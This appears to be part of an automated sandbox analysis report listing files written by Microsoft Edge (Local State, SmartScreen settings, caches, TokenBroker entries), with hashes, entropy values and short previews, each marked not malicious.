Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b988.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089798787009414
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynZBkzItSmd6qE7lFoC
MD5:	F1C946CDECAB1E6C4ED3550CF4D530E1
SHA1:	70A64199A3F4EB10FB5B30A6C94CDE0CFD982B96
SHA-256:	E40D0A61A0464FDB76484DC05BF5BCF987D7040119E5226C24D757075D7406F1
SHA-512:	38D8D5D2B623123860FA4813EF5F8F4A9167C1DC59137E09FEF08D20D53D927C886C8D8C2F28DA273B909418E81F4D6193F09429A31E2A3684C8E02312345760
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF518cf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089798787009414
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynZBkzItSmd6qE7lFoC
MD5:	F1C946CDECAB1E6C4ED3550CF4D530E1
SHA1:	70A64199A3F4EB10FB5B30A6C94CDE0CFD982B96
SHA-256:	E40D0A61A0464FDB76484DC05BF5BCF987D7040119E5226C24D757075D7406F1
SHA-512:	38D8D5D2B623123860FA4813EF5F8F4A9167C1DC59137E09FEF08D20D53D927C886C8D8C2F28DA273B909418E81F4D6193F09429A31E2A3684C8E02312345760
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.999226391304491
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXUHVy:YWLSGTt1o9LuLgfGBPAzkVj/T8lEHVy
MD5:	2A0AF1187F901C5E334D2DB1B9F4769C
SHA1:	E804496A6CF00BC5CD32C99F5BF961B76C627FF6
SHA-256:	8D98463A7111865DFF5C1D774A7AF36C2A10496566554F59396E358BEF906D62
SHA-512:	7986ADF4C5665F6540996272618C85A2A59D32ED951789910695ECC6AE503E2FA147E9C46B771E44F3FB50E7B82F204D942F3FBC8E9DCCDA8969A1F82226674C
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732226258909071}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b82b3833-b7db-4121-bb1a-b694651c29de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46362
Entropy (8bit):	6.0861874070493185
Encrypted:	false
SSDEEP:	768:yMkbJrT8IeQcrQgxKCp3i1zNts3veDj/94PM/IPEFS3xIAB3lYCio0JDSgzMMd60:yMk1rT8HRK8/Q/4hTYFo0tSmd6qE7A
MD5:	16FE6990261A7973E87B46251CEB8A62
SHA1:	4399A22D604AC23BC4069A3CBCBC412F4968B43A
SHA-256:	3AB2F996DB564ADF02FCF204121C01B768AB6B3706597503BCF5ADDF3C06B959
SHA-512:	B4C225AEDFFC9A1A6417D6B48F9CDD0B5248375EC4376D8E13F4D9625372B2C72F882396E4963DDBC1975219219A8D4001EA806520C40BF13F33349871ECFFD4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376599055200999","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"8061a57c-994d-49e5-a930-30dbea73b1d4"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732125459"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\efd5c829-4604-4fff-bda8-41b28d728112.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46486
Entropy (8bit):	6.08581549726528
Encrypted:	false
SSDEEP:	768:yMkbJrT8IeQcrQgOKC13i1zNts3veDjS4PM/IPEFS3xIAB3lYCio0JDSgzMMd6qD:yMk1rT8HuKq/QfhTYFo0tSmd6qE7A
MD5:	C257AB54DAF014445E6209050A49E4F7
SHA1:	0AA6CF09DABA1FE68CF481D295BE0B40BC2786E9
SHA-256:	DDC70E0FF32126BB2CDE9C86C305915852BA7ADC388B8CDD4E1D5BBDFE4A7F39
SHA-512:	060B4A6E63CE83988EF71F5BF98151AF88F41CDF9DF7567ABD78A8A9540223D4AE7E79DE5EF39A7401921B57711F800B718EFD0CCA9146B2289ED6110C5DA195
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376599055200999","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"8061a57c-994d-49e5-a930-30dbea73b1d4"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732125459"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.852402115106472
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxfxl9Il8ujEsm00PJZ0Ev/f91AcLWFPSQT7mFpd1rc:mGYV3p0PJZ0EvNZLCPSQTSFK
MD5:	1BAEF7018B9BE301A6B4DF7FE9830583
SHA1:	06163B3C952C3177DF4687AF2FF3A35BAE95F2C6
SHA-256:	587E47723C5009A4B52CA52BC0CA615A2F7DC1BC5CFEC410FD035AE19755F587
SHA-512:	02B68AAA3436AA500D763756E303D77041D22C10A86271EB60E31A8FE3A0162D68857FA2A17B10CA48EBFF0A62AAE9739FFA2F75758D9293604E19643B0A2403
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.G.a.4.E.H.4.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.y.r.D.Y.v.j.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.998531031752468
